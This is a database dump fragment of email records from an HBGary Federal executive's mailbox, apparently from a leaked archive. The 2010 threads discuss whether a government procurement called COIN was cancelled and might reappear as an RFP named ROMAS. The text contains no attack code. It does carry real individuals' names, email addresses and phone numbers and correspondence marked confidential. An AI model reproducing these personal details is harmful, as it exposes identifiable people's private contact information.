<tjriesen@archimedesglobal.com>','/aaron@hbgary.com/new/1297007662.M208533P14101Q4596.eml','\"Christopher Clair\" <christopher.clair@tasc.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: COIN Update','\r\n\r\nFW: COIN Update\r\n\r\n\r\nGentlemen &#8211; see below. &nbsp;Is this consistent with your knowledge of the situation? &nbsp;\r\n\r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc. \r\nTel: &nbsp;&nbsp;800.670.2390 ext 503\r\nFax: &nbsp;866.347.0827\r\n&nbsp;\r\n\r\n\r\n------ Forwarded Message\r\nFrom: Larry Carr &lt;lcarr@telemussolutions.com&gt;\r\nReply-To: Larry Carr &lt;lcarr@telemussolutions.com&gt;\r\nDate: Thu, 5 Aug 2010 01:22:43 +0000\r\nTo: Tim Riesen &lt;tjriesen@archimedesglobal.com&gt;\r\nSubject: Fw: COIN Update\r\n\r\nThis is from the Customer Contracting Officer. How does this track with your / TASC intel?LAC\r\n\r\nSent via BlackBerry by AT&amp;T\r\n\r\nFrom:  &quot;Megan Speicher&quot; &lt;mspeicher@telemussolutions.com&gt; \r\nDate: Wed, 4 Aug 2010 16:13:30 -0400\r\nTo: George Page&lt;gpage@telemussolutions.com&gt;; Larry Carr&lt;lcarr@telemussolutions.com&gt;; Clayborne Holmes&lt;cholmes@telemussolutions.com&gt;\r\nSubject: COIN Update\r\nGentlemen,\r\n&nbsp;\r\nI have confirmed the IDIQ procurement known as COIN is still cancelled due to lack of requirements . One requirement which was to be included as part of COIN will be released as a standalone RFP in FY 11. The requirement will be briefed at industry day as ROMAS (not sure of the spelling). \r\n&nbsp;\r\nMegan \r\n&nbsp;\r\n\r\n\r\nRaytheon Telemus Inc Confidential &amp; Proprietary Statement: This email and any attachments are confidential and may be legally privileged. &nbsp;If you are not the intended recipient, or believe that you have received this communication in error, please do not read, print, copy, retransmit, disseminate, or otherwise use the information. &nbsp;Please delete this email and any attachments, without reading, printing, copying, forwarding or saving them and notify the sender immediately by reply e-mail. &nbsp;No confidentiality or privilege is waived or lost by any transmission in error. &nbsp;Raytheon Telemus Inc and its affiliates reserve the right to monitor all e-mail communications through its networks. &nbsp;Thank you.\r\n\r\n\r\n------ End of Forwarded Message\r\n\r\n\r\n\r\n\r\n',16655,'aaron_hbgary_com/16655.html'),(9742,'2010-08-05','\"Fouche, Tim R\" <Tim.Fouche@ManTech.com>','/aaron@hbgary.com/new/1297007662.M410564P14101Q4597.eml','\"Aaron Barr\" <aaron@hbgary.com>','Accepted: Invitation: TSA ITSSS Opportunity @ Thu Aug 5 3:30pm - 4:30pm (tim.fouche@mantech.com)','This communication, along with any attachments, is covered by federal and state law governing electronic communications and may contain company proprietary and legally privileged information.  If the reader of this message is not the intended recipient, you are hereby notified that any dissemination, distribution, use or copying of this message is strictly prohibited.  If you have received this in error, please reply immediately to the sender and delete this message.  Thank you.\r\n',10011,'aaron_hbgary_com/10011.html'),(9743,'2010-08-05','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297007662.M602128P14101Q4598.eml','\"Tim Riesen\" <tjriesen@archimedesglobal.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: COIN Update','\r\n\r\n\r\n\r\n\r\nRE: COIN Update\r\n\r\n\r\n\r\n\r\nHi Tim,\r\n\r\nI have an internal meeting with Ray Heider tomorrow regarding the status of the program.&nbsp; To my knowledge it has not been canceled.&nbsp; The original RFP was due to lack of requirements.&nbsp; The FY 11 date seems late but will check with Ray.&nbsp; More to come.\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Tim Riesen [mailto:tjriesen@archimedesglobal.com]\r\nSent: Wed 8/4/2010 9:38 PM\r\nTo: Clair, Chris (TASC); Aaron Barr\r\nSubject: FW: COIN Update\r\n\r\nGentlemen ­ see below.&nbsp; Is this consistent with your knowledge of the\r\nsituation?&nbsp;\r\n\r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc.\r\nTel:&nbsp;&nbsp; 800.670.2390 ext 503\r\nFax:&nbsp; 866.347.0827\r\n\r\n\r\n\r\n------ Forwarded Message\r\nFrom: Larry Carr &lt;lcarr@telemussolutions.com&gt;\r\nReply-To: Larry Carr &lt;lcarr@telemussolutions.com&gt;\r\nDate: Thu, 5 Aug 2010 01:22:43 +0000\r\nTo: Tim Riesen &lt;tjriesen@archimedesglobal.com&gt;\r\nSubject: Fw: COIN Update\r\n\r\nThis is from the Customer Contracting Officer. How does this track with your\r\n/ TASC intel?LAC\r\n\r\nSent via BlackBerry by AT&amp;T\r\n\r\nFrom:&nbsp; &quot;Megan Speicher&quot; &lt;mspeicher@telemussolutions.com&gt;\r\nDate: Wed, 4 Aug 2010 16:13:30 -0400\r\nTo: George Page&lt;gpage@telemussolutions.com&gt;; Larry\r\nCarr&lt;lcarr@telemussolutions.com&gt;; Clayborne\r\nHolmes&lt;cholmes@telemussolutions.com&gt;\r\nSubject: COIN Update\r\nGentlemen,\r\n\r\nI have confirmed the IDIQ procurement known as COIN is still cancelled due\r\nto lack of requirements . One requirement which was to be included as part\r\nof COIN will be released as a standalone RFP in FY 11. The requirement will\r\nbe briefed at industry day as ROMAS (not sure of the spelling).\r\n\r\nMegan\r\n\r\n\r\n\r\n\r\nRaytheon Telemus Inc Confidential &amp; Proprietary Statement: This email and\r\nany attachments are confidential and may be legally privileged.&nbsp; If you are\r\nnot the intended recipient, or believe that you have received this\r\ncommunication in error, please do not read, print, copy, retransmit,\r\ndisseminate, or otherwise use the information.&nbsp; Please delete this email and\r\nany attachments, without reading, printing, copying, forwarding or saving\r\nthem and notify the sender immediately by reply e-mail.&nbsp; No confidentiality\r\nor privilege is waived or lost by any transmission in error.&nbsp; Raytheon\r\nTelemus Inc and its affiliates reserve the right to monitor all e-mail\r\ncommunications through its networks.&nbsp; Thank you.\r\n\r\n\r\n------ End of Forwarded Message\r\n\r\n\r\n\r\n\r\n\r\n\r\n',942,'aaron_hbgary_com/942.html'),(9744,'2010-08-05','tjriesen@archimedesglobal.com','/aaron@hbgary.com/new/1297007662.M802813P14101Q4599.eml','\"Christopher Clair\" <christopher.clair@tasc.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: COIN Update','\r\n\r\n\r\n\r\n\r\nRE: COIN Update\r\n\r\nRoger that - thank you.  From:  \"Clair, Chris (TASC)\" &lt;CHRISTOPHER.CLAIR@tasc.com&gt;\r\nDate: Wed, 4 Aug 2010 21:44:28 -0400To: Tim Riesen&lt;tjriesen@archimedesglobal.com&gt;; Aaron Barr&lt;aaron@hbgary.com&gt;Subject: RE: COIN Update\r\n\r\n\r\nHi Tim,\r\n\r\nI have an internal meeting with Ray Heider tomorrow regarding the status of the program.&nbsp; To my knowledge it has not been canceled.&nbsp; The original RFP was due to lack of requirements.&nbsp; The FY 11 date seems late but will check with Ray.&nbsp; More to come.\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Tim Riesen [mailto:tjriesen@archimedesglobal.com]\r\nSent: Wed 8/4/2010 9:38 PM\r\nTo: Clair, Chris (TASC); Aaron Barr\r\nSubject: FW: COIN Update\r\n\r\nGentlemen ­ see below.&nbsp; Is this consistent with your knowledge of the\r\nsituation?&nbsp;\r\n\r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc.\r\nTel:&nbsp;&nbsp; 800.670.2390 ext 503\r\nFax:&nbsp; 866.347.0827\r\n\r\n\r\n\r\n------ Forwarded Message\r\nFrom: Larry Carr &lt;lcarr@telemussolutions.com&gt;\r\nReply-To: Larry Carr &lt;lcarr@telemussolutions.com&gt;\r\nDate: Thu, 5 Aug 2010 01:22:43 +0000\r\nTo: Tim Riesen &lt;tjriesen@archimedesglobal.com&gt;\r\nSubject: Fw: COIN Update\r\n\r\nThis is from the Customer Contracting Officer. How does this track with your\r\n/ TASC intel?LAC\r\n\r\nSent via BlackBerry by AT&amp;T\r\n\r\nFrom:&nbsp; &quot;Megan Speicher&quot; &lt;mspeicher@telemussolutions.com&gt;\r\nDate: Wed, 4 Aug 2010 16:13:30 -0400\r\nTo: George Page&lt;gpage@telemussolutions.com&gt;; Larry\r\nCarr&lt;lcarr@telemussolutions.com&gt;; Clayborne\r\nHolmes&lt;cholmes@telemussolutions.com&gt;\r\nSubject: COIN Update\r\nGentlemen,\r\n\r\nI have confirmed the IDIQ procurement known as COIN is still cancelled due\r\nto lack of requirements . One requirement which was to be included as part\r\nof COIN will be released as a standalone RFP in FY 11. The requirement will\r\nbe briefed at industry day as ROMAS (not sure of the spelling).\r\n\r\nMegan\r\n\r\n\r\n\r\n\r\nRaytheon Telemus Inc Confidential &amp; Proprietary Statement: This email and\r\nany attachments are confidential and may be legally privileged.&nbsp; If you are\r\nnot the intended recipient, or believe that you have received this\r\ncommunication in error, please do not read, print, copy, retransmit,\r\ndisseminate, or otherwise use the information.&nbsp; Please delete this email and\r\nany attachments, without reading, printing, copying, forwarding or saving\r\nthem and notify the sender immediately by reply e-mail.&nbsp; No confidentiality\r\nor privilege is waived or lost by any transmission in error.&nbsp; Raytheon\r\nTelemus Inc and its affiliates reserve the right to monitor all e-mail\r\ncommunications through its networks.&nbsp; Thank you.\r\n\r\n\r\n------ End of Forwarded Message\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15236,'aaron_hbgary_com/15236.html'),(9745,'2010-08-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007663.M270436P14101Q4601.eml','\"Tim Riesen\" <tjriesen@archimedesglobal.com>,\"Tim Riesen\" <tjriesen@archimedesglobal.com>','Re: COIN Update','It is true the original COIN was cancelled due to lack of requirements from other customers. &nbsp;Again I will check with customer on Monday when I see them.An interesting note, ROMAS (right spelling) is a name I gave internally to NG for our work for this customer. &nbsp;ROMAS is the name of a middle eastern spider. &nbsp;;) &nbsp;I thought I was pretty clever. &nbsp;I am glad they are going to continue to use the name.Also Ted called Rich Hall who is the current CO and confirmed their was an RFP to drop in Sept. &nbsp;Then I went in a few weeks ago and got an updated to August...so not sure where the mix up is. &nbsp;If anyone is to know it is Rich, MaryBeth, and John.AaronOn Aug 4, 2010, at 9:38 PM, Tim Riesen wrote:\r\nGentlemen – see below. &nbsp;Is this consistent with your knowledge of the situation? &nbsp;\r\n\r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc. \r\nTel: &nbsp;&nbsp;800.670.2390 ext 503\r\nFax: &nbsp;866.347.0827\r\n&nbsp;\r\n\r\n\r\n------ Forwarded Message\r\nFrom: Larry Carr &lt;lcarr@telemussolutions.com&gt;\r\nReply-To: Larry Carr &lt;lcarr@telemussolutions.com&gt;\r\nDate: Thu, 5 Aug 2010 01:22:43 +0000\r\nTo: Tim Riesen &lt;tjriesen@archimedesglobal.com&gt;\r\nSubject: Fw: COIN Update\r\n\r\nThis is from the Customer Contracting Officer. How does this track with your / TASC intel?LAC\r\n\r\nSent via BlackBerry by AT&amp;T\r\n\r\nFrom:  \"Megan Speicher\" &lt;mspeicher@telemussolutions.com&gt; \r\nDate: Wed, 4 Aug 2010 16:13:30 -0400\r\nTo: George Page&lt;gpage@telemussolutions.com&gt;; Larry Carr&lt;lcarr@telemussolutions.com&gt;; Clayborne Holmes&lt;cholmes@telemussolutions.com&gt;\r\nSubject: COIN Update\r\nGentlemen,\r\n&nbsp;\r\nI have confirmed the IDIQ procurement known as COIN is still cancelled due to lack of requirements . One requirement which was to be included as part of COIN will be released as a standalone RFP in FY 11. The requirement will be briefed at industry day as ROMAS (not sure of the spelling). \r\n&nbsp;\r\nMegan \r\n&nbsp;\r\n\r\n\r\nRaytheon Telemus Inc Confidential &amp; Proprietary Statement: This email and any attachments are confidential and may be legally privileged. &nbsp;If you are not the intended recipient, or believe that you have received this communication in error, please do not read, print, copy, retransmit, disseminate, or otherwise use the information. &nbsp;Please delete this email and any attachments, without reading, printing, copying, forwarding or saving them and notify the sender immediately by reply e-mail. &nbsp;No confidentiality or privilege is waived or lost by any transmission in error. &nbsp;Raytheon Telemus Inc and its affiliates reserve the right to monitor all e-mail communications through its networks. &nbsp;Thank you.\r\n\r\n\r\n------ End of Forwarded Message\r\n\r\n\r\n\r\n\r\n&lt;Mail Attachment.gif&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9540,'aaron_hbgary_com/9540.html'),(9746,'2010-08-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007663.M4378P14101Q4600.eml','tjriesen@archimedesglobal.com,tjriesen@archimedesglobal.com','Re: COIN Update','I spoke with the customer (Marybeth and John) and both told me RFP in August. &nbsp;I am going to see them on Monday and will double check.AaronOn Aug 4, 2010, at 9:47 PM, tjriesen@archimedesglobal.com wrote:\r\nRoger that - thank you.  From:  \"Clair, Chris (TASC)\" &lt;CHRISTOPHER.CLAIR@tasc.com&gt;\r\nDate: Wed, 4 Aug 2010 21:44:28 -0400To: Tim Riesen&lt;tjriesen@archimedesglobal.com&gt;; Aaron Barr&lt;aaron@hbgary.com&gt;Subject: RE: COIN Update\r\nHi Tim,\r\n\r\nI have an internal meeting with Ray Heider tomorrow regarding the status of the program.&nbsp; To my knowledge it has not been canceled.&nbsp; The original RFP was due to lack of requirements.&nbsp; The FY 11 date seems late but will check with Ray.&nbsp; More to come.\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Tim Riesen [mailto:tjriesen@archimedesglobal.com]\r\nSent: Wed 8/4/2010 9:38 PM\r\nTo: Clair, Chris (TASC); Aaron Barr\r\nSubject: FW: COIN Update\r\n\r\nGentlemen ­ see below.&nbsp; Is this consistent with your knowledge of the\r\nsituation?&nbsp;\r\n\r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc.\r\nTel:&nbsp;&nbsp; 800.670.2390 ext 503\r\nFax:&nbsp; 866.347.0827\r\n\r\n\r\n\r\n------ Forwarded Message\r\nFrom: Larry Carr &lt;lcarr@telemussolutions.com&gt;\r\nReply-To: Larry Carr &lt;lcarr@telemussolutions.com&gt;\r\nDate: Thu, 5 Aug 2010 01:22:43 +0000\r\nTo: Tim Riesen &lt;tjriesen@archimedesglobal.com&gt;\r\nSubject: Fw: COIN Update\r\n\r\nThis is from the Customer Contracting Officer. How does this track with your\r\n/ TASC intel?LAC\r\n\r\nSent via BlackBerry by AT&amp;T\r\n\r\nFrom:&nbsp; \"Megan Speicher\" &lt;mspeicher@telemussolutions.com&gt;\r\nDate: Wed, 4 Aug 2010 16:13:30 -0400\r\nTo: George Page&lt;gpage@telemussolutions.com&gt;; Larry\r\nCarr&lt;lcarr@telemussolutions.com&gt;; Clayborne\r\nHolmes&lt;cholmes@telemussolutions.com&gt;\r\nSubject: COIN Update\r\nGentlemen,\r\n\r\nI have confirmed the IDIQ procurement known as COIN is still cancelled due\r\nto lack of requirements . One requirement which was to be included as part\r\nof COIN will be released as a standalone RFP in FY 11. The requirement will\r\nbe briefed at industry day as ROMAS (not sure of the spelling).\r\n\r\nMegan\r\n\r\n\r\n\r\n\r\nRaytheon Telemus Inc Confidential &amp; Proprietary Statement: This email and\r\nany attachments are confidential and may be legally privileged.&nbsp; If you are\r\nnot the intended recipient, or believe that you have received this\r\ncommunication in error, please do not read, print, copy, retransmit,\r\ndisseminate, or otherwise use the information.&nbsp; Please delete this email and\r\nany attachments, without reading, printing, copying, forwarding or saving\r\nthem and notify the sender immediately by reply e-mail.&nbsp; No confidentiality\r\nor privilege is waived or lost by any transmission in error.&nbsp; Raytheon\r\nTelemus Inc and its affiliates reserve the right to monitor all e-mail\r\ncommunications through its networks.&nbsp; Thank you.\r\n\r\n\r\n------ End of Forwarded Message\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11488,'aaron_hbgary_com/11488.html'),(9747,'2010-08-05','tjriesen@archimedesglobal.com','/aaron@hbgary.com/new/1297007663.M472476P14101Q4602.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: COIN Update','Thanks.  I have a good relationship with Rich Hall and could reach out to him if that would be helpful.  From:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Wed, 4 Aug 2010 22:15:03 -0400To: Tim Riesen&lt;tjriesen@archimedesglobal.com&gt;Cc: Christopher Clair&lt;christopher.clair@tasc.com&gt;Subject: Re: COIN UpdateIt is true the original COIN was cancelled due to lack of requirements from other customers. &nbsp;Again I will check with customer on Monday when I see them.An interesting note, ROMAS (right spelling) is a name I gave internally to NG for our work for this customer. &nbsp;ROMAS is the name of a middle eastern spider. &nbsp;;) &nbsp;I thought I was pretty clever. &nbsp;I am glad they are going to continue to use the name.Also Ted called Rich Hall who is the current CO and confirmed their was an RFP to drop in Sept. &nbsp;Then I went in a few weeks ago and got an updated to August...so not sure where the mix up is. &nbsp;If anyone is to know it is Rich, MaryBeth, and John.AaronOn Aug 4, 2010, at 9:38 PM, Tim Riesen wrote:\r\nGentlemen – see below. &nbsp;Is this consistent with your knowledge of the situation? &nbsp;\r\n\r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc. \r\nTel: &nbsp;&nbsp;800.670.2390 ext 503\r\nFax: &nbsp;866.347.0827\r\n&nbsp;\r\n\r\n\r\n------ Forwarded Message\r\nFrom: Larry Carr &lt;lcarr@telemussolutions.com&gt;\r\nReply-To: Larry Carr &lt;lcarr@telemussolutions.com&gt;\r\nDate: Thu, 5 Aug 2010 01:22:43 +0000\r\nTo: Tim Riesen &lt;tjriesen@archimedesglobal.com&gt;\r\nSubject: Fw: COIN Update\r\n\r\nThis is from the Customer Contracting Officer. How does this track with your / TASC intel?LAC\r\n\r\nSent via BlackBerry by AT&amp;T\r\n\r\nFrom:  \"Megan Speicher\" &lt;mspeicher@telemussolutions.com&gt; \r\nDate: Wed, 4 Aug 2010 16:13:30 -0400\r\nTo: George Page&lt;gpage@telemussolutions.com&gt;; Larry Carr&lt;lcarr@telemussolutions.com&gt;; Clayborne Holmes&lt;cholmes@telemussolutions.com&gt;\r\nSubject: COIN Update\r\nGentlemen,\r\n&nbsp;\r\nI have confirmed the IDIQ procurement known as COIN is still cancelled due to lack of requirements . One requirement which was to be included as part of COIN will be released as a standalone RFP in FY 11. The requirement will be briefed at industry day as ROMAS (not sure of the spelling). \r\n&nbsp;\r\nMegan \r\n&nbsp;\r\n\r\n\r\nRaytheon Telemus Inc Confidential &amp; Proprietary Statement: This email and any attachments are confidential and may be legally privileged. &nbsp;If you are not the intended recipient, or believe that you have received this communication in error, please do not read, print, copy, retransmit, disseminate, or otherwise use the information. &nbsp;Please delete this email and any attachments, without reading, printing, copying, forwarding or saving them and notify the sender immediately by reply e-mail. &nbsp;No confidentiality or privilege is waived or lost by any transmission in error. &nbsp;Raytheon Telemus Inc and its affiliates reserve the right to monitor all e-mail communications through its networks. &nbsp;Thank you.\r\n\r\n\r\n------ End of Forwarded Message\r\n\r\n\r\n\r\n\r\n&lt;Mail Attachment.gif&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',14988,'aaron_hbgary_com/14988.html'),(9748,'2010-08-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007663.M671927P14101Q4603.eml','tjriesen@archimedesglobal.com,tjriesen@archimedesglobal.com','Re: COIN Update','Couldn\'t hurt to get as many data points as possible. &nbsp;We do as well, mostly Ted. &nbsp;Rich is a good guy.AaronOn Aug 4, 2010, at 10:16 PM, tjriesen@archimedesglobal.com wrote:Thanks.  I have a good relationship with Rich Hall and could reach out to him if that would be helpful.  From:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Wed, 4 Aug 2010 22:15:03 -0400To: Tim Riesen&lt;tjriesen@archimedesglobal.com&gt;Cc: Christopher Clair&lt;christopher.clair@tasc.com&gt;Subject: Re: COIN UpdateIt is true the original COIN was cancelled due to lack of requirements from other customers. &nbsp;Again I will check with customer on Monday when I see them.An interesting note, ROMAS (right spelling) is a name I gave internally to NG for our work for this customer. &nbsp;ROMAS is the name of a middle eastern spider. &nbsp;;) &nbsp;I thought I was pretty clever. &nbsp;I am glad they are going to continue to use the name.Also Ted called Rich Hall who is the current CO and confirmed their was an RFP to drop in Sept. &nbsp;Then I went in a few weeks ago and got an updated to August...so not sure where the mix up is. &nbsp;If anyone is to know it is Rich, MaryBeth, and John.AaronOn Aug 4, 2010, at 9:38 PM, Tim Riesen wrote:\r\nGentlemen – see below. &nbsp;Is this consistent with your knowledge of the situation? &nbsp;\r\n\r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc. \r\nTel: &nbsp;&nbsp;800.670.2390 ext 503\r\nFax: &nbsp;866.347.0827\r\n&nbsp;\r\n\r\n\r\n------ Forwarded Message\r\nFrom: Larry Carr &lt;lcarr@telemussolutions.com&gt;\r\nReply-To: Larry Carr &lt;lcarr@telemussolutions.com&gt;\r\nDate: Thu, 5 Aug 2010 01:22:43 +0000\r\nTo: Tim Riesen &lt;tjriesen@archimedesglobal.com&gt;\r\nSubject: Fw: COIN Update\r\n\r\nThis is from the Customer Contracting Officer. How does this track with your / TASC intel?LAC\r\n\r\nSent via BlackBerry by AT&amp;T\r\n\r\nFrom:  \"Megan Speicher\" &lt;mspeicher@telemussolutions.com&gt; \r\nDate: Wed, 4 Aug 2010 16:13:30 -0400\r\nTo: George Page&lt;gpage@telemussolutions.com&gt;; Larry Carr&lt;lcarr@telemussolutions.com&gt;; Clayborne Holmes&lt;cholmes@telemussolutions.com&gt;\r\nSubject: COIN Update\r\nGentlemen,\r\n&nbsp;\r\nI have confirmed the IDIQ procurement known as COIN is still cancelled due to lack of requirements . One requirement which was to be included as part of COIN will be released as a standalone RFP in FY 11. The requirement will be briefed at industry day as ROMAS (not sure of the spelling). \r\n&nbsp;\r\nMegan \r\n&nbsp;\r\n\r\n\r\nRaytheon Telemus Inc Confidential &amp; Proprietary Statement: This email and any attachments are confidential and may be legally privileged. &nbsp;If you are not the intended recipient, or believe that you have received this communication in error, please do not read, print, copy, retransmit, disseminate, or otherwise use the information. &nbsp;Please delete this email and any attachments, without reading, printing, copying, forwarding or saving them and notify the sender immediately by reply e-mail. &nbsp;No confidentiality or privilege is waived or lost by any transmission in error. &nbsp;Raytheon Telemus Inc and its affiliates reserve the right to monitor all e-mail communications through its networks. &nbsp;Thank you.\r\n\r\n\r\n------ End of Forwarded Message\r\n\r\n\r\n\r\n\r\n&lt;Mail Attachment.gif&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',2265,'aaron_hbgary_com/2265.html'),(9749,'2010-08-05','tjriesen@archimedesglobal.com','/aaron@hbgary.com/new/1297007663.M896286P14101Q4604.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: COIN Update','Ok - I\'ll drop him a note.  Best to refer to it as COIN or ROMAS now?  From:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Wed, 4 Aug 2010 22:18:47 -0400To: &lt;tjriesen@archimedesglobal.com&gt;Cc: Chris Clair&lt;CHRISTOPHER.CLAIR@tasc.com&gt;Subject: Re: COIN UpdateCouldn\'t hurt to get as many data points as possible. &nbsp;We do as well, mostly Ted. &nbsp;Rich is a good guy.AaronOn Aug 4, 2010, at 10:16 PM, tjriesen@archimedesglobal.com wrote:Thanks.  I have a good relationship with Rich Hall and could reach out to him if that would be helpful.  From:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Wed, 4 Aug 2010 22:15:03 -0400To: Tim Riesen&lt;tjriesen@archimedesglobal.com&gt;Cc: Christopher Clair&lt;christopher.clair@tasc.com&gt;Subject: Re: COIN UpdateIt is true the original COIN was cancelled due to lack of requirements from other customers. &nbsp;Again I will check with customer on Monday when I see them.An interesting note, ROMAS (right spelling) is a name I gave internally to NG for our work for this customer. &nbsp;ROMAS is the name of a middle eastern spider. &nbsp;;) &nbsp;I thought I was pretty clever. &nbsp;I am glad they are going to continue to use the name.Also Ted called Rich Hall who is the current CO and confirmed their was an RFP to drop in Sept. &nbsp;Then I went in a few weeks ago and got an updated to August...so not sure where the mix up is. &nbsp;If anyone is to know it is Rich, MaryBeth, and John.AaronOn Aug 4, 2010, at 9:38 PM, Tim Riesen wrote:\r\nGentlemen – see below. &nbsp;Is this consistent with your knowledge of the situation? &nbsp;\r\n\r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc. \r\nTel: &nbsp;&nbsp;800.670.2390 ext 503\r\nFax: &nbsp;866.347.0827\r\n&nbsp;\r\n\r\n\r\n------ Forwarded Message\r\nFrom: Larry Carr &lt;lcarr@telemussolutions.com&gt;\r\nReply-To: Larry Carr &lt;lcarr@telemussolutions.com&gt;\r\nDate: Thu, 5 Aug 2010 01:22:43 +0000\r\nTo: Tim Riesen &lt;tjriesen@archimedesglobal.com&gt;\r\nSubject: Fw: COIN Update\r\n\r\nThis is from the Customer Contracting Officer. How does this track with your / TASC intel?LAC\r\n\r\nSent via BlackBerry by AT&amp;T\r\n\r\nFrom:  \"Megan Speicher\" &lt;mspeicher@telemussolutions.com&gt; \r\nDate: Wed, 4 Aug 2010 16:13:30 -0400\r\nTo: George Page&lt;gpage@telemussolutions.com&gt;; Larry Carr&lt;lcarr@telemussolutions.com&gt;; Clayborne Holmes&lt;cholmes@telemussolutions.com&gt;\r\nSubject: COIN Update\r\nGentlemen,\r\n&nbsp;\r\nI have confirmed the IDIQ procurement known as COIN is still cancelled due to lack of requirements . One requirement which was to be included as part of COIN will be released as a standalone RFP in FY 11. The requirement will be briefed at industry day as ROMAS (not sure of the spelling). \r\n&nbsp;\r\nMegan \r\n&nbsp;\r\n\r\n\r\nRaytheon Telemus Inc Confidential &amp; Proprietary Statement: This email and any attachments are confidential and may be legally privileged. &nbsp;If you are not the intended recipient, or believe that you have received this communication in error, please do not read, print, copy, retransmit, disseminate, or otherwise use the information. &nbsp;Please delete this email and any attachments, without reading, printing, copying, forwarding or saving them and notify the sender immediately by reply e-mail. &nbsp;No confidentiality or privilege is waived or lost by any transmission in error. &nbsp;Raytheon Telemus Inc and its affiliates reserve the right to monitor all e-mail communications through its networks. &nbsp;Thank you.\r\n\r\n\r\n------ End of Forwarded Message\r\n\r\n\r\n\r\n\r\n&lt;Mail Attachment.gif&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',5364,'aaron_hbgary_com/5364.html'),(9750,'2010-08-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007664.M228682P14101Q4605.eml','tjriesen@archimedesglobal.com,tjriesen@archimedesglobal.com','Re: COIN Update','I would reference the COIN Market Survey and looming RFP but heard there was a potential change to an RFP called ROMAS and see what he give you.AaronOn Aug 4, 2010, at 10:20 PM, tjriesen@archimedesglobal.com wrote:Ok - I\'ll drop him a note.  Best to refer to it as COIN or ROMAS now?  From:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Wed, 4 Aug 2010 22:18:47 -0400To: &lt;tjriesen@archimedesglobal.com&gt;Cc: Chris Clair&lt;CHRISTOPHER.CLAIR@tasc.com&gt;Subject: Re: COIN UpdateCouldn\'t hurt to get as many data points as possible. &nbsp;We do as well, mostly Ted. &nbsp;Rich is a good guy.AaronOn Aug 4, 2010, at 10:16 PM, tjriesen@archimedesglobal.com wrote:Thanks.  I have a good relationship with Rich Hall and could reach out to him if that would be helpful.  From:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Wed, 4 Aug 2010 22:15:03 -0400To: Tim Riesen&lt;tjriesen@archimedesglobal.com&gt;Cc: Christopher Clair&lt;christopher.clair@tasc.com&gt;Subject: Re: COIN UpdateIt is true the original COIN was cancelled due to lack of requirements from other customers. &nbsp;Again I will check with customer on Monday when I see them.An interesting note, ROMAS (right spelling) is a name I gave internally to NG for our work for this customer. &nbsp;ROMAS is the name of a middle eastern spider. &nbsp;;) &nbsp;I thought I was pretty clever. &nbsp;I am glad they are going to continue to use the name.Also Ted called Rich Hall who is the current CO and confirmed their was an RFP to drop in Sept. &nbsp;Then I went in a few weeks ago and got an updated to August...so not sure where the mix up is. &nbsp;If anyone is to know it is Rich, MaryBeth, and John.AaronOn Aug 4, 2010, at 9:38 PM, Tim Riesen wrote:\r\nGentlemen – see below. &nbsp;Is this consistent with your knowledge of the situation? &nbsp;\r\n\r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc. \r\nTel: &nbsp;&nbsp;800.670.2390 ext 503\r\nFax: &nbsp;866.347.0827\r\n&nbsp;\r\n\r\n\r\n------ Forwarded Message\r\nFrom: Larry Carr &lt;lcarr@telemussolutions.com&gt;\r\nReply-To: Larry Carr &lt;lcarr@telemussolutions.com&gt;\r\nDate: Thu, 5 Aug 2010 01:22:43 +0000\r\nTo: Tim Riesen &lt;tjriesen@archimedesglobal.com&gt;\r\nSubject: Fw: COIN Update\r\n\r\nThis is from the Customer Contracting Officer. How does this track with your / TASC intel?LAC\r\n\r\nSent via BlackBerry by 